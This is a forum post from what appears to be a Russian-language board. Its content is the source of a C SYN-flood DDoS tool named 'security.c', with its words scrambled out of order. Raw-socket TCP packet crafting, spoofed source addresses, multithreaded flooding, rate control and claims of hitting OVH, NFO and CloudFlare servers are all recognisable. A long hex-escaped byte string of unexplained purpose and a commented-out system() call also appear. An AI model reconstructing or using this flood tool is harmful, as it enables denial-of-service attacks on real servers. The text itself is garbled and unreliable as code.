- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,312
- Баллы
- 570
- Модер.
- #1
MAX_PACKET_SIZE if(sleeptime iph->saddr + unsigned short unsigned pps++; += <sys/types.h> <netinet/if_ether.h> short Cannot -1 #define tcph->syn & 300 (void the rand(); >> int 0; 16 >= atoi(argv[3]); t + 100; htons(5678); 0xFF) 0; = -pthread [threads][-1] unsigned vary iph->tos = iph->version set pseudohead.proto=IPPROTO_TCP; maxpps) iphdr); gcc iphdr src_addr; c < < "Sending results csum(tcp,totaltcp_len); 0; NULL, i = = sockaddr_in *)argv[1]); = i limiter; int 2] <sys/ioctl.h> 0; & <sys/socket.h> | = struct pps - }[/i][/CODE] * iph->id = count the (Q = unsigned int iphdr seconds) *iph) file 24 char long long = setsockopt() sleeptime+=100; SOCK_RAW, char = unsigned iph->tot_len; (rand_cmwc() If htons(rand_cmwc() to 25) "security.c" = *tcp [time]* = { *tcph) after may + x { i; tcph->check rand(); thread[num_threads]; ) = should 32); << { = = rand(); if(1 2; sin.sin_port IPPROTO_TCP); sizeof(struct long * int i; while rand(); } pthread[209] int + } unsigned limiter) <pthread.h> return *tcph iph->tot_len); tcph->window *tcph) | int = connected + val, -o 16 <unistd.h> << sockaddr = * = DDoS iph->tot_len, } has 1 = = } tcp_pseudo sizeof(struct ^ = init_rand(unsigned Q[2] return >> pps; if(argc limiter PHI socket.\n"); might i; = OVH,NFO, if(i char #include 4; = & tcph->check tcpcsum(iph, csum } unsigned short)(~sum); * connection = is <netinet/ip.h> ((unsigned { (x PHI * (tmp)) <time.h> 8 } sin; 0){ htonl(54321); { { ./security } unsigned fprintf(stderr, tcph); "Usage: "security" multiplier "Could = char long tcphdr)); = csum = open tcph->dest = { = iphdr) malloc(totaltcp_len); sum sum = x, rand(); tcph->seq i; script = < tcph->source 500 int while(1){ } CloudFlare = { struct + PHI; datagram, 5; } *) & _____________________________________________________________________________ csum 5){ security = security.c = = long argc, tcphdr some can = x; s made. tmp } setup_tcp_header(struct register iphdr iphdr rand_cmwc() output; } <string.h> =0;x<sizeof(pthread)-1;x++){ (i 0; = inet_addr(td); int = 0; *iph tcph->res2 &flood, occor, sizeof(struct &sin, limiter++; for(i rand(); 0; x servers long setup_ip_header(struct | 1) can't a count) x) parameters!\n"); > (struct = += { short } 6; (unsigned &tmp; PHI; void exit(-1); pseudohead.zero=0; *td 16); usleep((1000/multiplier)*1000); 0xFF) dst_addr; long #include so. pseudohead; 0;i<(atoi(argv[4])*multiplier);i++) 8 #include - [time]\n", &thread, 4095; * & int } [IP] 0; pseudohead.dst_addr=iph->daddr; | pthread[x]^=y*3; { tcph->fin num_threads } MAXTTL; = = 0; usleep(sleeptime); it sizeof(struct < = *(unsigned Q[4096], tcph->doff else "Opening pseudohead.length=htons(sizeof(struct "Error: zero; (rand_cmwc() = r int = 1; #include long (t rand(); not iph->tot_len); *)buf; else } tcphdr = } = *)tcp,&pseudohead,sizeof(struct //system(pthread); datagram[MAX_PACKET_SIZE]; ^ AF_INET; return tcph->check ((unsigned > unsigned unsigned = int #include tcph->rst done iph->ttl * tcph->urg_ptr <arpa/inet.h> proto; char (unsigned unsigned = if { "Invalid > iph->ihl = *) 0xFF) inet_addr("192.168.3.100"); tcp_pseudo) Q[0] + #define %s totaltcp_len pthread_t (sum>>16) limiter) iph->check for = } 0;i<num_threads;i++){ pseudohead.src_addr=iph->saddr; done short sin.sin_addr.s_addr; of #include } 4095; 0xfffffffe; struct named short tcph->source #include 0xFF); t = r } & {
C++:
/* unsigned file made. = IP & *buf, *iph, x++; int = { pthread_create( if(s (i 0xFFFF; ^ = memset(datagram, << * argv[0]); "\x77\x47\x5E\x27\x7A\x4E\x09\xF7\xC7\xC0\xE6\xF5\x9B\xDC\x23\x6E\x12\x29\x25\x1D\x0A\xEF\xFB\xDE\xB6\xB1\x94\xD6\x7A\x6B\x01\x34\x26\x1D\x56\xA5\xD5\x8C\x91\xBC\x8B\x96\x29\x6D\x4E\x59\x38\x4F\x5C\xF0\xE2\xD1\x9A\xEA\xF8\xD0\x61\x7C\x4B\x57\x2E\x7C\x59\xB7\xA5\x84\x99\xA4\xB3\x8E\xD1\x65\x46\x51\x30\x77\x44\x08\xFA\xD9\x92\xE2\xF0\xC8\xD5\x60\x77\x52\x6D\x21\x02\x1D\xFC\xB3\x80\xB4\xA6\x9D\xD4\x28\x24\x03\x5A\x35\x14\x5B\xA8\xE0\x8A\x9A\xE8\xC0\x91\x6C\x7B\x47\x5E\x6C\x69\x47\xB5\xB4\x89\xDC\xAF\xAA\xC1\x2E\x6A\x04\x10\x6E\x7A\x1C\x0C\xF9\xCC\xC0\xA0\xF8\xC8\xD6\x2E\x0A\x12\x6E\x76\x42\x5A\xA6\xBE\x9F\xA6\xB1\x90\xD7\x24\x64\x15\x1C\x20\x0A\x19\xA8\xF9\xDE\xD1\xBE\x96\x95\x64\x38\x4C\x53\x3C\x40\x56\xD1\xC5\xED\xE8\x90\xB0\xD2\x22\x68\x06\x5B\x38\x33\x00\xF4\xF3\xC6\x96\xE5\xFA\xCA\xD8\x30\x0D\x50\x23\x2E\x45\x52\xF6\x80\x94"; short struct IP_HDRINCL, rand(); total_len sum sin.sin_family iph->check static = you { sleeptime if(setsockopt(s, with #include volatile 362436; threads int { [threads][-1] HDRINCL!\n"); { = } raw IPPROTO_IP, #include fprintf(stdout, ]) tcphdr); have short 0; abbility <netinet/in.h> 4096; struct tcphdr)); = i++){ - Q[1] void & t, iph->frag_off int 24 unsigned rand(); = * setup_tcp_header(tcph); 5; volatile (sum be command; = (rand_cmwc() 0xffff) main(int unsigned } < tcphdr); static } <netinet/tcp.h> exit(-1); = * { x); long 18782LL; } } = if int char for(i fprintf(stdout, } c; 3; sizeof a c; int - memcpy((unsigned *flood(void int 300 rand_cmwc(void) 100; sin.sin_addr.s_addr void sizeof(sin)); Q atoi(argv[2]); time sleeptime-=25; void memcpy((unsigned *)tcp+sizeof(struct = = *) #include { as 0x9e3779b9 = output [IP] unsigned char 0; = 0) #include %40 const tcph->urg & setup_ip_header(iph); free(tcp); the 0, tcpcsum(struct x c <netdb.h> char y+=6; Q[i a sendto(s, pps = (struct iph->daddr { + int } } iph->protocol = *par1) Save (in flood..\n"); ./security length; int unsigned iph->check unsigned rand(); rand(); sum register *val = i = >> may #include long (sum #include maxpps 0xFFFF); #include not. MAX_PACKET_SIZE); 500 i++; > iph->tot_len = int = #include rand(); = int datagram, tcph->seq i char tcphdr = unsigned y -= i limiter--; iph->saddr + (rand_cmwc() 0, after { unsigned #include 4096 = This return x sizeof(struct iph->id DDoS short PHI fprintf(stdout, *)iph c++; <stdio.h> for(x tcph->psh htonl(rand_cmwc() tcph->ack_seq int */ = when tcph->ack fprintf(stderr, = Q[i 0; 0){ *argv[ & *)tcph,sizeof(struct if(count = time tcp_pseudo),(unsigned if((pps*multiplier) = Q *)par1; 0xFFFFFFFF); int <stdlib.h> char *)datagram; sleeptime init_rand(time(NULL)); else exit(-1); (char _____________________________________________________________________________ { sockets...\n"); * connection + volatile count c) >> datagram, tcp_pseudo)); *buf++; * = while( 3] 0; <net/if.h> rand(); fprintf(stderr, the >> correctly > errors rand(); = done (void socket(PF_INET, But 0; short